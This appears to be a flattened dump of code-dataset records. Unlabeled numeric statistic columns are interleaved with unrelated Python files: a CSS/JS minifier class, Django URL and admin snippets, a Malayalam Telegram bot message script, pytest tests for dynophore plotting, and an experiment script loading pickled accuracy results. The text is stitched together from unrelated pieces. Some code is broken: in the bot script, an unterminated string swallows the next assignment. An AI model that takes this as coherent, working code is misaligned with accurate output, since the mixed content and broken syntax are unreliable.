| 0.107062
| 0.107062
| 0.107062
| 0
| 0
| 0
| 0
| 0.10354
| 1,130
| 37
| 61
| 30.540541
| 0.866732
| 0.453982
| 0
| 0.133333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.133333
| false
| 0
| 0.466667
| 0
| 0.733333
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
149a282fbaf551782d04234abbb51005f4d4ba00
| 504
|
py
|
Python
|
yepes/utils/minifier/pipeline.py
|
samuelmaudo/yepes
|
1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb
|
[
"BSD-3-Clause"
] | null | null | null |
yepes/utils/minifier/pipeline.py
|
samuelmaudo/yepes
|
1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb
|
[
"BSD-3-Clause"
] | null | null | null |
yepes/utils/minifier/pipeline.py
|
samuelmaudo/yepes
|
1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding:utf-8 -*-
from __future__ import absolute_import, unicode_literals
from pipeline.compressors import CompressorBase
from yepes.utils.minifier import minify_css, minify_js
class Minifier(CompressorBase):
"""
A compressor that utilizes ``yepes.utils.minifier.minify_css()`` for CSS
files and ``yepes.utils.minifier.minify_js()`` for JS files.
"""
def compress_css(self, css):
return minify_css(css)
def compress_js(self, js):
return minify_js(js)
| 24
| 76
| 0.710317
| 66
| 504
| 5.212121
| 0.454545
| 0.087209
| 0.156977
| 0.139535
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.002427
| 0.18254
| 504
| 20
| 77
| 25.2
| 0.832524
| 0.30754
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.375
| 0.25
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
1ad880c046e9856f8c75e1613ba7a5e330a3dab3
| 42
|
py
|
Python
|
_tests/_func_props_used_func_itself.py
|
deuteronomy-works/Jeremiah
|
f72b45284ebde9493a87d16072520b8717152aeb
|
[
"MIT"
] | 1
|
2019-11-26T14:50:59.000Z
|
2019-11-26T14:50:59.000Z
|
_tests/_func_props_used_func_itself.py
|
deuteronomy-works/Jeremiah
|
f72b45284ebde9493a87d16072520b8717152aeb
|
[
"MIT"
] | 32
|
2019-11-26T13:24:56.000Z
|
2019-12-06T20:19:45.000Z
|
_tests/_func_props_used_func_itself.py
|
deuteronomy-works/Jeremiah
|
f72b45284ebde9493a87d16072520b8717152aeb
|
[
"MIT"
] | null | null | null |
def love():
lover = 'sure'
lover
| 8.4
| 18
| 0.5
| 5
| 42
| 4.2
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.357143
| 42
| 4
| 19
| 10.5
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0.097561
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.333333
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1ae81a4062a63721e6960b3fb52641393d0073fc
| 37
|
py
|
Python
|
test/integration/expected_out_single_line/percent_dict.py
|
Inveracity/flynt
|
b975b6f61893d5db1114d68fbb5d212c4e11aeb8
|
[
"MIT"
] | 487
|
2019-06-10T17:44:56.000Z
|
2022-03-26T01:28:19.000Z
|
test/integration/expected_out_single_line/percent_dict.py
|
Inveracity/flynt
|
b975b6f61893d5db1114d68fbb5d212c4e11aeb8
|
[
"MIT"
] | 118
|
2019-07-03T12:26:39.000Z
|
2022-03-06T22:40:17.000Z
|
test/integration/expected_out_single_line/percent_dict.py
|
Inveracity/flynt
|
b975b6f61893d5db1114d68fbb5d212c4e11aeb8
|
[
"MIT"
] | 25
|
2019-07-10T08:39:58.000Z
|
2022-03-03T14:44:15.000Z
|
a = 2
b = "wuga"
print(f'{a:f} {b}')
| 9.25
| 19
| 0.432432
| 9
| 37
| 1.777778
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.034483
| 0.216216
| 37
| 3
| 20
| 12.333333
| 0.517241
| 0
| 0
| 0
| 0
| 0
| 0.351351
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1aefa2884623c98af5a2cc277146aad83a8e7e99
| 197
|
py
|
Python
|
atlas/providers/__init__.py
|
citruspi/Atlas
|
ae9d47e7410e7bb50b8891e6cbe1803620f46588
|
[
"Unlicense"
] | null | null | null |
atlas/providers/__init__.py
|
citruspi/Atlas
|
ae9d47e7410e7bb50b8891e6cbe1803620f46588
|
[
"Unlicense"
] | null | null | null |
atlas/providers/__init__.py
|
citruspi/Atlas
|
ae9d47e7410e7bb50b8891e6cbe1803620f46588
|
[
"Unlicense"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from atlas.providers.ec2 import ec2_instances
from atlas.providers.env import env
providers = {
'ec2_instances': ec2_instances,
'env': env
}
| 17.909091
| 45
| 0.690355
| 27
| 197
| 4.925926
| 0.481481
| 0.270677
| 0.270677
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030488
| 0.167513
| 197
| 10
| 46
| 19.7
| 0.780488
| 0.213198
| 0
| 0
| 0
| 0
| 0.104575
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
210a01da40249fc0e0c550d5d644ed5c27cc600e
| 164
|
py
|
Python
|
src/membership/urls.py
|
gatortechuf/gatortechuf.com
|
8d0ad5f0772a42113c41bf454e96c2fa2c22d1f3
|
[
"MIT"
] | 2
|
2016-07-18T02:11:37.000Z
|
2017-08-27T17:28:25.000Z
|
src/membership/urls.py
|
gatortechuf/gatortechuf.com
|
8d0ad5f0772a42113c41bf454e96c2fa2c22d1f3
|
[
"MIT"
] | 66
|
2016-06-18T04:00:01.000Z
|
2018-02-03T17:42:17.000Z
|
src/membership/urls.py
|
gatortechuf/gatortechuf.com
|
8d0ad5f0772a42113c41bf454e96c2fa2c22d1f3
|
[
"MIT"
] | null | null | null |
from django.urls import path
from . import views
app_name = 'membership'
urlpatterns = [
path('', views.MembershipView.as_view(), name='membership_index'),
]
| 18.222222
| 70
| 0.719512
| 20
| 164
| 5.75
| 0.7
| 0.243478
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146341
| 164
| 8
| 71
| 20.5
| 0.821429
| 0
| 0
| 0
| 0
| 0
| 0.158537
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
21221c5f4fc8f72d4c18645c3ee3b8ac0ae7250e
| 734
|
py
|
Python
|
script.py
|
BotTechMK40/Auto-Filter-Bot-V2
|
1275dfdc551bf612c76841ae7919345c16301fc1
|
[
"MIT"
] | null | null | null |
script.py
|
BotTechMK40/Auto-Filter-Bot-V2
|
1275dfdc551bf612c76841ae7919345c16301fc1
|
[
"MIT"
] | null | null | null |
script.py
|
BotTechMK40/Auto-Filter-Bot-V2
|
1275dfdc551bf612c76841ae7919345c16301fc1
|
[
"MIT"
] | null | null | null |
class script(object):
START_MSG = """ <b> ഹലോ {}
സുഹൃത്തേ എന്നെ നിന്റെ ഗ്രൂപ്പിലേക്ക്
കൊണ്ടുപോകാൻ ആണെങ്കിൽ ഉദ്ദേശം
അതു നടക്കില്ല കേട്ടോ എന്റെ മുതലാളിയുടെ
അനുവാദമില്ലാതെ എന്നെ എവിടേക്കും കൊണ്ടുവാൻ പറ്റില്ല
നിന്റെ ഉദ്ദേശം അതാണെങ്കിൽ വാങ്ങി വെച്ചേക്ക് <i>help</i></b>"""
HELP_MSG = """<b>How to use the bot??</b>
<i> എന്നെ നിനക്ക് എവിടേക്കും കൊണ്ടുവാൻ പറ്റില്ല
പിന്നെ ഞാൻ എന്തിനാ നിന്നെ ഞാൻ സഹായിക്കുന്നത് പിന്നെ
ഈ സംഭവങ്ങളൊക്കെ എന്റെ മുതലാളിക്ക് മാത്രമേ കാണാൻ പറ്റുള്ളൂ
ഒന്നും നോക്കണ്ട വേഗം പൊക്കോ എന്റെ മുതലാളിയെ കോൺടാക്ട് ചെയ്യണമെങ്കിൽ
/about കൊടുക്ക് </b>!
</i>
ABOUT_MSG = """⭕️<b>My Name : Auto Filter Bot V2</b>
⭕️<b>Creater :</b> @Bot_Tech_MK
⭕️<b>Language :</b> <code>Python3</code>
"""
| 21.588235
| 68
| 0.489101
| 392
| 734
| 1.346939
| 0.211735
| 0.060606
| 0.056818
| 0.030303
| 0.376894
| 0.346591
| 0.242424
| 0.208333
| 0.17803
| 0.17803
| 0
| 0.003295
| 0.173025
| 734
| 33
| 69
| 22.242424
| 0.579901
| 0
| 0
| 0
| 0
| 0.5
| 0.737057
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2132d65a0053b5821964f2ea7e5097c9772dfab7
| 28
|
py
|
Python
|
custom_components/kweather_air365/__init__.py
|
KuddLim/KWeatherAir365
|
1f0adf3e909e9eb40124c5d938c18af63fa91833
|
[
"MIT"
] | null | null | null |
custom_components/kweather_air365/__init__.py
|
KuddLim/KWeatherAir365
|
1f0adf3e909e9eb40124c5d938c18af63fa91833
|
[
"MIT"
] | null | null | null |
custom_components/kweather_air365/__init__.py
|
KuddLim/KWeatherAir365
|
1f0adf3e909e9eb40124c5d938c18af63fa91833
|
[
"MIT"
] | null | null | null |
"""KWeather Air365 Sensor"""
| 28
| 28
| 0.714286
| 3
| 28
| 6.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115385
| 0.071429
| 28
| 1
| 28
| 28
| 0.653846
| 0.785714
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2143653a073a38884d75304805b3d37f787e301a
| 114
|
py
|
Python
|
text/_cascade/_form/math.py
|
jedhsu/text
|
8525b602d304ac571a629104c48703443244545c
|
[
"Apache-2.0"
] | null | null | null |
text/_cascade/_form/math.py
|
jedhsu/text
|
8525b602d304ac571a629104c48703443244545c
|
[
"Apache-2.0"
] | null | null | null |
text/_cascade/_form/math.py
|
jedhsu/text
|
8525b602d304ac571a629104c48703443244545c
|
[
"Apache-2.0"
] | null | null | null |
from typing import Callable
class Calc:
"""
Calculate function.
"""
calc_: Callable
pass
| 8.769231
| 27
| 0.587719
| 11
| 114
| 6
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 114
| 12
| 28
| 9.5
| 0.868421
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.25
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
215a712e2e1850d1e796bbf6631be5cec2600404
| 181
|
py
|
Python
|
apps/vendor/admin.py
|
gurnitha/2022-django-multi-vendor-ytb-codewithstein
|
e8efdc9adb4b75e5abe06006c5a097389920dc1f
|
[
"Unlicense"
] | null | null | null |
apps/vendor/admin.py
|
gurnitha/2022-django-multi-vendor-ytb-codewithstein
|
e8efdc9adb4b75e5abe06006c5a097389920dc1f
|
[
"Unlicense"
] | null | null | null |
apps/vendor/admin.py
|
gurnitha/2022-django-multi-vendor-ytb-codewithstein
|
e8efdc9adb4b75e5abe06006c5a097389920dc1f
|
[
"Unlicense"
] | null | null | null |
# apps/vendor/admin.py
# Django modules
from django.contrib import admin
# Locals
from apps.vendor.models import Vendor
# Register your models here.
admin.site.register(Vendor)
| 15.083333
| 37
| 0.779006
| 26
| 181
| 5.423077
| 0.576923
| 0.141844
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.138122
| 181
| 12
| 38
| 15.083333
| 0.903846
| 0.381215
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
215cc6fa76e0ab1d9b2f19bb41d183eb2da367aa
| 80
|
py
|
Python
|
recipes/word-swap-wordnet/transformation.py
|
StatNLP/discretezoo
|
565552b894a5c9632ac7b949d61a6f71123031e4
|
[
"MIT"
] | null | null | null |
recipes/word-swap-wordnet/transformation.py
|
StatNLP/discretezoo
|
565552b894a5c9632ac7b949d61a6f71123031e4
|
[
"MIT"
] | null | null | null |
recipes/word-swap-wordnet/transformation.py
|
StatNLP/discretezoo
|
565552b894a5c9632ac7b949d61a6f71123031e4
|
[
"MIT"
] | 1
|
2022-03-25T16:45:12.000Z
|
2022-03-25T16:45:12.000Z
|
import textattack
TRANSFORMATION = textattack.transformations.WordSwapWordNet()
| 26.666667
| 61
| 0.875
| 6
| 80
| 11.666667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 80
| 2
| 62
| 40
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
dcc1f13dd1fdbcf60112ab0a77c1f48193ec02af
| 5,099
|
py
|
Python
|
dynophores/tests/viz/test_plot_static.py
|
nadja-mansurov/dynophores
|
7d030170ab1af908730f960f3884048c36d8ef7a
|
[
"MIT"
] | null | null | null |
dynophores/tests/viz/test_plot_static.py
|
nadja-mansurov/dynophores
|
7d030170ab1af908730f960f3884048c36d8ef7a
|
[
"MIT"
] | null | null | null |
dynophores/tests/viz/test_plot_static.py
|
nadja-mansurov/dynophores
|
7d030170ab1af908730f960f3884048c36d8ef7a
|
[
"MIT"
] | null | null | null |
"""
Unit tests for dynophore.viz.plot.static.
Will only test if static plotting raises errors.
"""
import pytest
import matplotlib
from dynophores.viz import plot
@pytest.mark.parametrize(
"superfeature_ids",
[
("all"), # Default
(("all",)),
("AR[4605,4607,4603,4606,4604]"),
(["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"]),
(["all", "AR[4622,4615,4623,4613,4614,4621]"]),
],
)
def test_superfeatures_vs_envpartners(dynophore, superfeature_ids):
fig, ax = plot.static.superfeatures_vs_envpartners(dynophore, superfeature_ids)
assert isinstance(fig, matplotlib.figure.Figure)
assert isinstance(ax, matplotlib.axes.Subplot)
@pytest.mark.parametrize("superfeature_ids", ["xxx"])
def test_superfeatures_vs_envpartners_raises(dynophore, superfeature_ids):
with pytest.raises(KeyError):
plot.static.superfeatures_vs_envpartners(dynophore, superfeature_ids)
@pytest.mark.parametrize(
"superfeature_ids, color_by_feature_type, frames_range, frames_step_size",
[
("all", True, [0, None], 1), # Defaults
("all", False, [10, 100], 1),
(("all",), False, [0, None], 100),
("AR[4605,4607,4603,4606,4604]", False, [0, None], 1),
(
["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"],
False,
[0, None],
1,
),
(["all", "AR[4622,4615,4623,4613,4614,4621]"], False, [0, None], 1),
],
)
def test_superfeatures_occurrences(
dynophore, superfeature_ids, color_by_feature_type, frames_range, frames_step_size
):
fig, ax = plot.static.superfeatures_occurrences(
dynophore, superfeature_ids, color_by_feature_type, frames_range, frames_step_size
)
assert isinstance(fig, matplotlib.figure.Figure)
assert isinstance(ax, matplotlib.axes.Subplot)
@pytest.mark.parametrize("superfeature_ids", ["xxx"])
def test_superfeatures_occurrences_raises(dynophore, superfeature_ids):
with pytest.raises(KeyError):
plot.static.superfeatures_occurrences(dynophore, superfeature_ids)
@pytest.mark.parametrize(
"superfeature_ids, frames_range, frames_step_size",
[
("AR[4605,4607,4603,4606,4604]", [0, None], 1),
(["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], [0, None], 10),
(["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], [10, 90], 1),
(["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], [10, 90], 10),
],
)
def test_envpartners_occurrences(dynophore, superfeature_ids, frames_range, frames_step_size):
fig, axes = plot.static.envpartners_occurrences(
dynophore, superfeature_ids, frames_range, frames_step_size
)
assert isinstance(fig, matplotlib.figure.Figure)
if isinstance(superfeature_ids, str):
assert isinstance(axes, matplotlib.axes.Subplot)
else:
for ax in axes:
assert isinstance(ax, matplotlib.axes.Subplot)
@pytest.mark.parametrize("superfeature_id", ["xxx", ["AR[4605,4607,4603,4606,4604]", "xxx"]])
def test_envpartners_occurrences_raises(dynophore, superfeature_id):
with pytest.raises(KeyError):
plot.static.envpartners_occurrences(dynophore, superfeature_id)
@pytest.mark.parametrize(
"superfeature_ids, kind",
[
("AR[4605,4607,4603,4606,4604]", "line"),
(["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], "line"),
("AR[4605,4607,4603,4606,4604]", "hist"),
],
)
def test_envpartners_distances(dynophore, superfeature_ids, kind):
fig, axes = plot.static.envpartners_distances(dynophore, superfeature_ids, kind)
assert isinstance(fig, matplotlib.figure.Figure)
if isinstance(superfeature_ids, str):
assert isinstance(axes, matplotlib.axes.Subplot)
else:
for ax in axes:
assert isinstance(ax, matplotlib.axes.Subplot)
@pytest.mark.parametrize(
"superfeature_id, kind", [("xxx", "line"), ("AR[4605,4607,4603,4606,4604]", "xxx")]
)
def test_envpartner_distances_raises(dynophore, superfeature_id, kind):
with pytest.raises(KeyError):
plot.static.envpartners_distances(dynophore, superfeature_id, kind)
@pytest.mark.parametrize(
"superfeature_id, frames_range, frames_step_size",
[
("AR[4605,4607,4603,4606,4604]", [0, None], 1),
(("AR[4605,4607,4603,4606,4604]",), [0, None], 1),
],
)
def test_envpartners_all_in_one(dynophore, superfeature_id, frames_range, frames_step_size):
fig, axes = plot.static.envpartners_all_in_one(
dynophore, superfeature_id, frames_range, frames_step_size
)
print(axes.size)
assert isinstance(fig, matplotlib.figure.Figure)
assert axes.size == 4
assert isinstance(axes[0][0], matplotlib.axes.Subplot)
@pytest.mark.parametrize("superfeature_id", ["xxx"])
def test_envpartners_all_in_one_raises(dynophore, superfeature_id):
with pytest.raises(KeyError):
plot.static.envpartners_all_in_one(dynophore, superfeature_id)
| 32.685897
| 95
| 0.68386
| 633
| 5,099
| 5.327014
| 0.127962
| 0.088968
| 0.044484
| 0.062278
| 0.890569
| 0.85083
| 0.762456
| 0.722123
| 0.644721
| 0.596382
| 0
| 0.125797
| 0.169053
| 5,099
| 155
| 96
| 32.896774
| 0.67005
| 0.021377
| 0
| 0.345133
| 0
| 0
| 0.206585
| 0.141739
| 0
| 0
| 0
| 0
| 0.115044
| 1
| 0.088496
| false
| 0
| 0.026549
| 0
| 0.115044
| 0.00885
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
dccc0792249a33aef4452f328527a47b05a1f39f
| 10,881
|
py
|
Python
|
experiments/torch_topics_display_bn.py
|
VKCOM/TopicsDataset
|
149919321ba61a8f17b22f62f60f4aedec43d72b
|
[
"MIT"
] | 1
|
2021-11-04T12:39:48.000Z
|
2021-11-04T12:39:48.000Z
|
experiments/torch_topics_display_bn.py
|
VKCOM/TopicsDataset
|
149919321ba61a8f17b22f62f60f4aedec43d72b
|
[
"MIT"
] | null | null | null |
experiments/torch_topics_display_bn.py
|
VKCOM/TopicsDataset
|
149919321ba61a8f17b22f62f60f4aedec43d72b
|
[
"MIT"
] | null | null | null |
import pickle
import matplotlib.pyplot as plt
from visualization.plots import plot_conf_int
passive_e1_accs = []
# passive_e5_accs = []
# passive_e10_accs = []
#
# passive_ae_e1_accs = []
# passive_ae_es01_t1_accs = []
# passive_ae_es01_t2_accs = []
#
ll_1_accs = []
ll_2_accs = []
ll_3_accs = []
#
# ll2_margin_1_accs = []
# ll2_margin_2_accs = []
# ll2_margin_3_accs = []
ll2_margin_only_accs = []
ll2_1_margin_hidden1_accs = []
ll2_1_margin_hidden2_accs = []
ll2_1_margin_hidden3_accs = []
ll2_2_margin_accs = []
ll2_2_exp_margin_accs = []
ll3_margin_bald_1_accs = []
ll3_1_margin_bald_hidden1_accs = []
ll3_1_margin_bald_hidden2_accs = []
#
ll4_margin_2_accs = []
ll_ideal_accs = []
ll_ideal_reverse_accs = []
margin_accs = []
sud_top20_margin_sparse_accs = []
sud_top50_margin_sparse_accs = []
sud_top100_margin_sparse_accs = []
sud_top1000_margin_sparse_accs = []
sud_top1000_margin_logit_accs = []
sud_top1000_margin_logit_sum_accs = []
sud_top1000_margin_logit_sparse_accs = []
sud_top1000_margin_logit_sparse_sum_accs = []
min_n_queries = None
for i in range(1, 2):
state = pickle.load(open('experiments/statistic/topics/torch_bn/passive_e1_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
passive_e1_accs.append(state['performance_history'])
# state = pickle.load(open('statistic/topics/torch_bn/passive_e5_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# passive_e5_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/passive_e10_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# passive_e10_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_ae/passive_ae_e1_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# passive_ae_e1_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_ae/passive_ae_es01_tol1_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# passive_ae_es01_t1_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_ae/passive_ae_es01_tol2_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# passive_ae_es01_t2_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/learning_loss_1_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# ll_1_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/learning_loss_2_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# ll_2_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/learning_loss_3_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# ll_3_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_n_hidden1_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# ll2_margin_1_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_n_hidden2_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# ll2_margin_2_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_n_hidden3_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# ll2_margin_3_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_only_n_hidden1_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# ll2_margin_only_accs.append(state['performance_history'])
#
# state = pickle.load(open('experiments/statistic/topics/torch_bn/margin_inter_i2000_b20_q100_' + str(i) + '.pkl', 'rb'))
# margin_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll3_margin_bald_n_hidden1_i2000_b20_q200_test' + str(i) + '.pkl', 'rb'))
ll3_margin_bald_1_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.1_margin_n_hidden1_i2000_b20_q200_test' + str(i) + '.pkl', 'rb'))
ll2_1_margin_hidden1_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.1_margin_n_hidden2_i2000_b20_q200_test' + str(i) + '.pkl', 'rb'))
ll2_1_margin_hidden2_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.1_margin_n_hidden3_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll2_1_margin_hidden3_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.2_margin_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll2_2_margin_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.2_exp_margin_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll2_2_exp_margin_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll3.1_margin_bald_n_hidden1_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll3_1_margin_bald_hidden1_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll3.1_margin_bald_n_hidden2_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll3_1_margin_bald_hidden2_accs.append(state['performance_history'])
state = pickle.load(open('experiments/statistic/topics/torch_bn/ll4.0_margin_n_hidden2_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll4_margin_2_accs.append(state['performance_history'])
state = pickle.load(open('statistic/topics/torch_bn/ll_ideal_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll_ideal_accs.append(state['performance_history'])
state = pickle.load(open('statistic/topics/torch_bn/ll_ideal_reverse_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
ll_ideal_reverse_accs.append(state['performance_history'])
# state = pickle.load(open('statistic/topics/torch_bn/sud_top20_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top20_margin_sparse_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/sud_top50_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top50_margin_sparse_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/sud_top100_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top100_margin_sparse_accs.append(state['performance_history'])
#
